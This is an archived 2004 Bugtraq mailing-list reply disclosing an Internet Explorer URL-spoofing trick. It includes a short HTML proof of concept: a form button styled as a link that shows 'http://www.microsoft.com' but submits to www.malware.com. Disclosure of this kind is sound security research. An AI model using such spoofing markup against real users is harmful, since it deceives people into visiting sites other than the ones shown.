bugtraq - Re: New URL spoofing bug in Microsoft Internet Explorer

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <200410301816.i9UIG7cU017479@web111.megawebservers.com>
Date: Sat, 30 Oct 2004 18:16:07 -0000
From: "http-equiv@...ite.com " <1@...ware.com>
To: <bugtraq@...urityfocus.com>
Cc: <NTBugtraq@...tserv.ntbugtraq.com>
Subject: Re: New URL spoofing bug in Microsoft Internet Explorer




I also want to play

<base href="http://www.microsoft.com">

<a href=><form action="http://www.malware.com" 
method="get"><INPUT style="BORDER-RIGHT: 0pt; BORDER-TOP: 0pt; 
FONT-SIZE: 10pt; BORDER-LEFT: 0pt;
CURSOR: hand; COLOR: blue; BORDER-BOTTOM: 0pt; BACKGROUND-COLOR: 
transparent;TEXT-DECORATION: underline" type=submit 
value=http://www.microsoft.com></form></a>

This still works in IE 6 SP2 XP 123 whatever, since patched and 
from back in March 2004 [see: 
http://www.securityfocus.com/bid/10023 ]. Only difference being 
the base href and open a href.

http://www.malware.com/mwaresoft.html

Interestingly Outlook Express gets it right this time.



-- 
http://www.malware.com